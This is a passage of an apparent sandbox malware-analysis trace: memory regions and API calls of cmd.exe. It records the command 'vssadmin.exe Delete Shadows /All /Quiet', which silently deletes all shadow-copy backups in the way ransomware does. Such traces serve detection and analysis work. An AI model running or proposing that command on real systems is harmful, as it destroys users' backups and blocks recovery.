= 913 start_va = 0xbd41d20000 end_va = 0xbd41d23fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd41d20000" filename = "" Region: id = 914 start_va = 0xbd41d30000 end_va = 0xbd41d30fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd41d30000" filename = "" Region: id = 915 start_va = 0xbd41d40000 end_va = 0xbd41d41fff entry_point = 0x0 region_type = private name = "private_0x000000bd41d40000" filename = "" Region: id = 916 start_va = 0x7ff6230d0000 end_va = 0x7ff6230f2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6230d0000" filename = "" Region: id = 917 start_va = 0x7ff6230fb000 end_va = 0x7ff6230fbfff entry_point = 0x0 region_type = private name = "private_0x00007ff6230fb000" filename = "" Region: id = 918 start_va = 0x7ff6230fe000 end_va = 0x7ff6230fffff entry_point = 0x0 region_type = private name = "private_0x00007ff6230fe000" filename = "" Region: id = 919 start_va = 0x7ff623140000 end_va = 0x7ff62319afff entry_point = 0x7ff6231465b4 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 920 start_va = 0x7ffe2cb20000 end_va = 0x7ffe2ccc8fff entry_point = 0x7ffe2cb20000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 945 start_va = 0xbd41d50000 end_va = 0xbd41e4ffff entry_point = 0x0 region_type = private name = "private_0x000000bd41d50000" filename = "" Region: id = 946 start_va = 0x7ffe2a070000 end_va = 0x7ffe2a17dfff entry_point = 0x7ffe2a0722a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 947 start_va = 0x7ffe2a640000 end_va = 0x7ffe2a778fff entry_point = 0x7ffe2a645034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1225 start_va = 0xbd41bf0000 end_va = 0xbd41bfffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd41bf0000" filename = "" Region: id = 1226 start_va = 0xbd41c00000 end_va = 0xbd41c06fff entry_point = 0x0 region_type = private name = "private_0x000000bd41c00000" filename = "" Region: id = 1227 start_va = 0xbd41e50000 end_va = 0xbd41ecdfff entry_point = 0xbd41e50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1228 start_va = 0xbd42070000 end_va = 0xbd4207ffff entry_point = 0x0 region_type = private name = "private_0x000000bd42070000" filename = "" Region: id = 1229 start_va = 0x7ff622fd0000 end_va = 0x7ff6230cffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff622fd0000" filename = "" Region: id = 1230 start_va = 0x7ffe2a8b0000 end_va = 0x7ffe2a956fff entry_point = 0x7ffe2a8b282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1271 start_va = 0xbd42080000 end_va = 0xbd42354fff entry_point = 0xbd42080000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 87 os_tid = 0xb00 [0030.643] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff623140000 [0030.643] __set_app_type (_Type=0x1) [0030.643] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff62315ace0) returned 0x0 [0030.643] __getmainargs (in: _Argc=0x7ff62317e724, _Argv=0x7ff62317e728, _Env=0x7ff62317e730, _DoWildCard=0, _StartInfo=0x7ff62316d0c4 | out: _Argc=0x7ff62317e724, _Argv=0x7ff62317e728, _Env=0x7ff62317e730) returned 0 [0030.643] GetCurrentThreadId () returned 0xb00 [0030.643] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb00) returned 0x28 [0030.643] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffe2a640000 [0030.643] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetThreadUILanguage") returned 0x7ffe2a6431d8 [0030.643] SetThreadUILanguage (LangId=0x0) returned 0x409 [0030.684] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0030.684] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xbd41d1fa28 | out: phkResult=0xbd41d1fa28*=0x0) returned 0x2 [0030.684] VirtualQuery (in: lpAddress=0xbd41d1fa14, lpBuffer=0xbd41d1f990, dwLength=0x30 | out: lpBuffer=0xbd41d1f990*(BaseAddress=0xbd41d1f000, AllocationBase=0xbd41c20000, AllocationProtect=0x4, __alignment1=0xbd, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0030.684] VirtualQuery (in: lpAddress=0xbd41c20000, lpBuffer=0xbd41d1f990, dwLength=0x30 | out: lpBuffer=0xbd41d1f990*(BaseAddress=0xbd41c20000, AllocationBase=0xbd41c20000, AllocationProtect=0x4, __alignment1=0xbd, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0030.684] VirtualQuery (in: lpAddress=0xbd41c21000, lpBuffer=0xbd41d1f990, dwLength=0x30 | out: lpBuffer=0xbd41d1f990*(BaseAddress=0xbd41c21000, AllocationBase=0xbd41c20000, AllocationProtect=0x4, __alignment1=0xbd, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0030.684] VirtualQuery (in: lpAddress=0xbd41c24000, lpBuffer=0xbd41d1f990, dwLength=0x30 | out: lpBuffer=0xbd41d1f990*(BaseAddress=0xbd41c24000, AllocationBase=0xbd41c20000, AllocationProtect=0x4, __alignment1=0xbd, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0030.684] VirtualQuery (in: lpAddress=0xbd41d20000, lpBuffer=0xbd41d1f990, dwLength=0x30 | out: lpBuffer=0xbd41d1f990*(BaseAddress=0xbd41d20000, AllocationBase=0xbd41d20000, AllocationProtect=0x2, __alignment1=0xbd, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0030.684] GetConsoleOutputCP () returned 0x1b5 [0030.688] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff62317a120 | out: lpCPInfo=0x7ff62317a120) returned 1 [0030.688] SetConsoleCtrlHandler (HandlerRoutine=0x7ff6231662a4, Add=1) returned 1 [0030.688] _get_osfhandle (_FileHandle=1) returned 0x1c [0030.688] SetConsoleMode (hConsoleHandle=0x1c, dwMode=0x0) returned 1 [0030.690] _get_osfhandle (_FileHandle=1) returned 0x1c [0030.690] GetConsoleMode (in: hConsoleHandle=0x1c, lpMode=0x7ff62316d150 | out: lpMode=0x7ff62316d150) returned 1 [0030.692] _get_osfhandle (_FileHandle=1) returned 0x1c [0030.692] SetConsoleMode (hConsoleHandle=0x1c, dwMode=0x3) returned 1 [0030.692] _get_osfhandle (_FileHandle=0) returned 0x18 [0030.692] GetConsoleMode (in: hConsoleHandle=0x18, lpMode=0x7ff62316d14c | out: lpMode=0x7ff62316d14c) returned 1 [0030.693] _get_osfhandle (_FileHandle=0) returned 0x18 [0030.693] SetConsoleMode (hConsoleHandle=0x18, dwMode=0x1a7) returned 1 [0030.697] GetEnvironmentStringsW () returned 0xbd41d548b0* [0030.697] FreeEnvironmentStringsA (penv="A") returned 1 [0030.697] GetEnvironmentStringsW () returned 0xbd41d548b0* [0030.697] FreeEnvironmentStringsA (penv="A") returned 1 [0030.697] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xbd41d1e8d8 | out: phkResult=0xbd41d1e8d8*=0x34) returned 0x0 [0030.697] RegQueryValueExW (in: hKey=0x34, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xbd41d1e8d0, lpData=0xbd41d1e8f0, lpcbData=0xbd41d1e8d4*=0x1000 | out: lpType=0xbd41d1e8d0*=0x0, lpData=0xbd41d1e8f0*=0x0, lpcbData=0xbd41d1e8d4*=0x1000) returned 0x2 [0030.697] RegQueryValueExW (in: hKey=0x34, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xbd41d1e8d0, lpData=0xbd41d1e8f0, lpcbData=0xbd41d1e8d4*=0x1000 | out: lpType=0xbd41d1e8d0*=0x4, lpData=0xbd41d1e8f0*=0x1, lpcbData=0xbd41d1e8d4*=0x4) returned 0x0 [0030.697] RegQueryValueExW (in: hKey=0x34, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xbd41d1e8d0, lpData=0xbd41d1e8f0, lpcbData=0xbd41d1e8d4*=0x1000 | out: lpType=0xbd41d1e8d0*=0x0, lpData=0xbd41d1e8f0*=0x1, lpcbData=0xbd41d1e8d4*=0x1000) returned 0x2 [0030.697] RegQueryValueExW (in: hKey=0x34, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xbd41d1e8d0, lpData=0xbd41d1e8f0, lpcbData=0xbd41d1e8d4*=0x1000 | out: lpType=0xbd41d1e8d0*=0x4, lpData=0xbd41d1e8f0*=0x0, lpcbData=0xbd41d1e8d4*=0x4) returned 0x0 [0030.697] RegQueryValueExW (in: hKey=0x34, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xbd41d1e8d0, lpData=0xbd41d1e8f0, lpcbData=0xbd41d1e8d4*=0x1000 | out: lpType=0xbd41d1e8d0*=0x4, lpData=0xbd41d1e8f0*=0x40, lpcbData=0xbd41d1e8d4*=0x4) returned 0x0 [0030.697] RegQueryValueExW (in: hKey=0x34, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xbd41d1e8d0, lpData=0xbd41d1e8f0, lpcbData=0xbd41d1e8d4*=0x1000 | out: lpType=0xbd41d1e8d0*=0x4, lpData=0xbd41d1e8f0*=0x40, lpcbData=0xbd41d1e8d4*=0x4) returned 0x0 [0030.697] RegQueryValueExW (in: hKey=0x34, lpValueName="AutoRun", lpReserved=0x0, lpType=0xbd41d1e8d0, lpData=0xbd41d1e8f0, lpcbData=0xbd41d1e8d4*=0x1000 | out: lpType=0xbd41d1e8d0*=0x0, lpData=0xbd41d1e8f0*=0x40, lpcbData=0xbd41d1e8d4*=0x1000) returned 0x2 [0030.697] RegCloseKey (hKey=0x34) returned 0x0 [0030.697] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xbd41d1e8d8 | out: phkResult=0xbd41d1e8d8*=0x34) returned 0x0 [0030.697] RegQueryValueExW (in: hKey=0x34, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xbd41d1e8d0, lpData=0xbd41d1e8f0, lpcbData=0xbd41d1e8d4*=0x1000 | out: lpType=0xbd41d1e8d0*=0x0, lpData=0xbd41d1e8f0*=0x40, lpcbData=0xbd41d1e8d4*=0x1000) returned 0x2 [0030.697] RegQueryValueExW (in: hKey=0x34, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xbd41d1e8d0, lpData=0xbd41d1e8f0, lpcbData=0xbd41d1e8d4*=0x1000 | out: lpType=0xbd41d1e8d0*=0x4, lpData=0xbd41d1e8f0*=0x1, lpcbData=0xbd41d1e8d4*=0x4) returned 0x0 [0030.697] RegQueryValueExW (in: hKey=0x34, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xbd41d1e8d0, lpData=0xbd41d1e8f0, lpcbData=0xbd41d1e8d4*=0x1000 | out: lpType=0xbd41d1e8d0*=0x0, lpData=0xbd41d1e8f0*=0x1, lpcbData=0xbd41d1e8d4*=0x1000) returned 0x2 [0030.698] RegQueryValueExW (in: hKey=0x34, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xbd41d1e8d0, lpData=0xbd41d1e8f0, lpcbData=0xbd41d1e8d4*=0x1000 | out: lpType=0xbd41d1e8d0*=0x4, lpData=0xbd41d1e8f0*=0x0, lpcbData=0xbd41d1e8d4*=0x4) returned 0x0 [0030.698] RegQueryValueExW (in: hKey=0x34, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xbd41d1e8d0, lpData=0xbd41d1e8f0, lpcbData=0xbd41d1e8d4*=0x1000 | out: lpType=0xbd41d1e8d0*=0x4, lpData=0xbd41d1e8f0*=0x9, lpcbData=0xbd41d1e8d4*=0x4) returned 0x0 [0030.698] RegQueryValueExW (in: hKey=0x34, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xbd41d1e8d0, lpData=0xbd41d1e8f0, lpcbData=0xbd41d1e8d4*=0x1000 | out: lpType=0xbd41d1e8d0*=0x4, lpData=0xbd41d1e8f0*=0x9, lpcbData=0xbd41d1e8d4*=0x4) returned 0x0 [0030.698] RegQueryValueExW (in: hKey=0x34, lpValueName="AutoRun", lpReserved=0x0, lpType=0xbd41d1e8d0, lpData=0xbd41d1e8f0, lpcbData=0xbd41d1e8d4*=0x1000 | out: lpType=0xbd41d1e8d0*=0x0, lpData=0xbd41d1e8f0*=0x9, lpcbData=0xbd41d1e8d4*=0x1000) returned 0x2 [0030.698] RegCloseKey (hKey=0x34) returned 0x0 [0030.698] time (in: timer=0x0 | out: timer=0x0) returned 0x5989d262 [0030.698] srand (_Seed=0x5989d262) [0030.698] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /C title 4180649|vssadmin.exe Delete Shadows /All /Quiet" [0030.698] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /C title 4180649|vssadmin.exe Delete Shadows /All /Quiet" [0030.698] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x7ff62317a160 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0030.698] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xbd41d548f0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0030.698] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0030.698] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0030.698] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0030.698] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0030.698] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0030.698] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0030.698] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0030.698] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0030.698] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0030.698] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0030.698] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0030.698] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0030.698] GetEnvironmentStringsW () returned 0xbd41d54b00* [0030.698] FreeEnvironmentStringsA (penv="A") returned 1 [0030.698] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0030.698] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0030.698] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0030.698] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0030.698] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0030.698] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0030.698] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0030.698] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0030.698] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0030.698] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0030.699] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0xbd41d1f6e0 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0030.699] GetFullPathNameW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop", nBufferLength=0x104, lpBuffer=0xbd41d1f6e0, lpFilePart=0xbd41d1f6c0 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop", lpFilePart=0xbd41d1f6c0*="Desktop") returned 0x1c [0030.699] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 0x11 [0030.699] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0xbd41d1f3f0 | out: lpFindFileData=0xbd41d1f3f0) returned 0xbd41d57970 [0030.699] FindClose (in: hFindFile=0xbd41d57970 | out: hFindFile=0xbd41d57970) returned 1 [0030.699] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp", lpFindFileData=0xbd41d1f3f0 | out: lpFindFileData=0xbd41d1f3f0) returned 0xbd41d57970 [0030.699] FindClose (in: hFindFile=0xbd41d57970 | out: hFindFile=0xbd41d57970) returned 1 [0030.699] _wcsnicmp (_String1="5JGHKO~1", _String2="5JgHKoaOfdp", _MaxCount=0xb) returned 29 [0030.699] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop", lpFindFileData=0xbd41d1f3f0 | out: lpFindFileData=0xbd41d1f3f0) returned 0xbd41d57970 [0030.699] FindClose (in: hFindFile=0xbd41d57970 | out: hFindFile=0xbd41d57970) returned 1 [0030.699] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 0x11 [0030.699] SetCurrentDirectoryW (lpPathName="C:\\Users\\5JgHKoaOfdp\\Desktop" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 1 [0030.699] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 1 [0030.699] GetEnvironmentStringsW () returned 0xbd41d56590* [0030.699] FreeEnvironmentStringsA (penv="=") returned 1 [0030.699] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x7ff62317a160 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0030.700] GetConsoleOutputCP () returned 0x1b5 [0030.745] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff62317a120 | out: lpCPInfo=0x7ff62317a120) returned 1 [0030.745] GetUserDefaultLCID () returned 0x409 [0030.745] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff62317e680, cchData=8 | out: lpLCData=":") returned 2 [0030.746] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xbd41d1f810, cchData=128 | out: lpLCData="0") returned 2 [0030.746] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xbd41d1f810, cchData=128 | out: lpLCData="0") returned 2 [0030.746] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xbd41d1f810, cchData=128 | out: lpLCData="1") returned 2 [0030.746] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff62317e8b0, cchData=8 | out: lpLCData="/") returned 2 [0030.746] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff62317e8e0, cchData=32 | out: lpLCData="Mon") returned 4 [0030.746] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff62317e920, cchData=32 | out: lpLCData="Tue") returned 4 [0030.746] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff62317e960, cchData=32 | out: lpLCData="Wed") returned 4 [0030.746] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff62317e6a0, cchData=32 | out: lpLCData="Thu") returned 4 [0030.746] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff62317e6e0, cchData=32 | out: lpLCData="Fri") returned 4 [0030.746] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff62317e9a0, cchData=32 | out: lpLCData="Sat") returned 4 [0030.746] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff62317e9e0, cchData=32 | out: lpLCData="Sun") returned 4 [0030.746] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff62317e690, cchData=8 | out: lpLCData=".") returned 2 [0030.746] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff62317e8c0, cchData=8 | out: lpLCData=",") returned 2 [0030.746] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0030.746] GetConsoleTitleW (in: lpConsoleTitle=0xbd41d55600, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0030.747] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffe2a640000 [0030.747] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CopyFileExW") returned 0x7ffe2a65e954 [0030.747] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="IsDebuggerPresent") returned 0x7ffe2a6434dc [0030.747] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetConsoleInputExeNameW") returned 0x7ffe2a0836f8 [0030.747] _wcsicmp (_String1="title", _String2=")") returned 75 [0030.747] _wcsicmp (_String1="FOR", _String2="title") returned -14 [0030.747] _wcsicmp (_String1="FOR/?", _String2="title") returned -14 [0030.747] _wcsicmp (_String1="IF", _String2="title") returned -11 [0030.747] _wcsicmp (_String1="IF/?", _String2="title") returned -11 [0030.747] _wcsicmp (_String1="REM", _String2="title") returned -2 [0030.747] _wcsicmp (_String1="REM/?", _String2="title") returned -2 [0030.748] _wcsicmp (_String1="FOR", _String2="vssadmin.exe") returned -16 [0030.748] _wcsicmp (_String1="FOR/?", _String2="vssadmin.exe") returned -16 [0030.748] _wcsicmp (_String1="IF", _String2="vssadmin.exe") returned -13 [0030.748] _wcsicmp (_String1="IF/?", _String2="vssadmin.exe") returned -13 [0030.748] _wcsicmp (_String1="REM", _String2="vssadmin.exe") returned -4 [0030.748] _wcsicmp (_String1="REM/?", _String2="vssadmin.exe") returned -4 [0030.749] _pipe (in: _PtHandles=0xbd41d55b60, _PipeSize=0x0, _TextMode=32768 | out: _PtHandles=0xbd41d55b60) returned 0 [0030.749] _dup (_FileHandle=1) returned 5 [0030.749] _dup2 (_FileHandleSrc=4, _FileHandleDst=1) returned 0 [0030.749] _close (_FileHandle=4) returned 0 [0030.749] _wcsicmp (_String1="title", _String2="DIR") returned 16 [0030.749] _wcsicmp (_String1="title", _String2="ERASE") returned 15 [0030.749] _wcsicmp (_String1="title", _String2="DEL") returned 16 [0030.749] _wcsicmp (_String1="title", _String2="TYPE") returned -16 [0030.749] _wcsicmp (_String1="title", _String2="COPY") returned 17 [0030.749] _wcsicmp (_String1="title", _String2="CD") returned 17 [0030.749] _wcsicmp (_String1="title", _String2="CHDIR") returned 17 [0030.749] _wcsicmp (_String1="title", _String2="RENAME") returned 2 [0030.749] _wcsicmp (_String1="title", _String2="REN") returned 2 [0030.749] _wcsicmp (_String1="title", _String2="ECHO") returned 15 [0030.749] _wcsicmp (_String1="title", _String2="SET") returned 1 [0030.749] _wcsicmp (_String1="title", _String2="PAUSE") returned 4 [0030.750] _wcsicmp (_String1="title", _String2="DATE") returned 16 [0030.750] _wcsicmp (_String1="title", _String2="TIME") returned 7 [0030.750] _wcsicmp (_String1="title", _String2="PROMPT") returned 4 [0030.750] _wcsicmp (_String1="title", _String2="MD") returned 7 [0030.750] _wcsicmp (_String1="title", _String2="MKDIR") returned 7 [0030.750] _wcsicmp (_String1="title", _String2="RD") returned 2 [0030.750] _wcsicmp (_String1="title", _String2="RMDIR") returned 2 [0030.750] _wcsicmp (_String1="title", _String2="PATH") returned 4 [0030.750] _wcsicmp (_String1="title", _String2="GOTO") returned 13 [0030.750] _wcsicmp (_String1="title", _String2="SHIFT") returned 1 [0030.750] _wcsicmp (_String1="title", _String2="CLS") returned 17 [0030.750] _wcsicmp (_String1="title", _String2="CALL") returned 17 [0030.750] _wcsicmp (_String1="title", _String2="VERIFY") returned -2 [0030.750] _wcsicmp (_String1="title", _String2="VER") returned -2 [0030.750] _wcsicmp (_String1="title", _String2="VOL") returned -2 [0030.750] _wcsicmp (_String1="title", _String2="EXIT") returned 15 [0030.750] _wcsicmp (_String1="title", _String2="SETLOCAL") returned 1 [0030.750] _wcsicmp (_String1="title", _String2="ENDLOCAL") returned 15 [0030.750] _wcsicmp (_String1="title", _String2="TITLE") returned 0 [0030.750] _wcsicmp (_String1="title", _String2="DIR") returned 16 [0030.750] _wcsicmp (_String1="title", _String2="ERASE") returned 15 [0030.750] _wcsicmp (_String1="title", _String2="DEL") returned 16 [0030.750] _wcsicmp (_String1="title", _String2="TYPE") returned -16 [0030.750] _wcsicmp (_String1="title", _String2="COPY") returned 17 [0030.750] _wcsicmp (_String1="title", _String2="CD") returned 17 [0030.750] _wcsicmp (_String1="title", _String2="CHDIR") returned 17 [0030.750] _wcsicmp (_String1="title", _String2="RENAME") returned 2 [0030.750] _wcsicmp (_String1="title", _String2="REN") returned 2 [0030.750] _wcsicmp (_String1="title", _String2="ECHO") returned 15 [0030.750] _wcsicmp (_String1="title", _String2="SET") returned 1 [0030.750] _wcsicmp (_String1="title", _String2="PAUSE") returned 4 [0030.750] _wcsicmp (_String1="title", _String2="DATE") returned 16 [0030.750] _wcsicmp (_String1="title", _String2="TIME") returned 7 [0030.750] _wcsicmp (_String1="title", _String2="PROMPT") returned 4 [0030.750] _wcsicmp (_String1="title", _String2="MD") returned 7 [0030.750] _wcsicmp (_String1="title", _String2="MKDIR") returned 7 [0030.750] _wcsicmp (_String1="title", _String2="RD") returned 2 [0030.750] _wcsicmp (_String1="title", _String2="RMDIR") returned 2 [0030.750] _wcsicmp (_String1="title", _String2="PATH") returned 4 [0030.750] _wcsicmp (_String1="title", _String2="GOTO") returned 13 [0030.750] _wcsicmp (_String1="title", _String2="SHIFT") returned 1 [0030.750] _wcsicmp (_String1="title", _String2="CLS") returned 17 [0030.750] _wcsicmp (_String1="title", _String2="CALL") returned 17 [0030.750] _wcsicmp (_String1="title", _String2="VERIFY") returned -2 [0030.750] _wcsicmp (_String1="title", _String2="VER") returned -2 [0030.750] _wcsicmp (_String1="title", _String2="VOL") returned -2 [0030.750] _wcsicmp (_String1="title", _String2="EXIT") returned 15 [0030.750] _wcsicmp (_String1="title", _String2="SETLOCAL") returned 1 [0030.750] _wcsicmp (_String1="title", _String2="ENDLOCAL") returned 15 [0030.750] _wcsicmp (_String1="title", _String2="TITLE") returned 0 [0030.750] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0030.751] _wcsnicmp (_String1="C:\\W", _String2="cmd ", _MaxCount=0x4) returned -51 [0030.751] SetErrorMode (uMode=0x0) returned 0x0 [0030.751] SetErrorMode (uMode=0x1) returned 0x0 [0030.751] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\.", nBufferLength=0x208, lpBuffer=0xbd41d50be0, lpFilePart=0xbd41d1f340 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0xbd41d1f340*="system32") returned 0x13 [0030.751] SetErrorMode (uMode=0x0) returned 0x1 [0030.751] NeedCurrentDirectoryForExePathW (ExeName="C:\\Windows\\system32\\.") returned 1 [0030.751] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0030.753] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0030.753] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe", fInfoLevelId=0x1, lpFindFileData=0xbd41d1f0c0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xbd41d1f0c0) returned 0xbd41d50d60 [0030.753] FindClose (in: hFindFile=0xbd41d50d60 | out: hFindFile=0xbd41d50d60) returned 1 [0030.753] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0030.753] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0030.753] GetConsoleTitleW (in: lpConsoleTitle=0xbd41d1f620, nSize=0x104 | out: 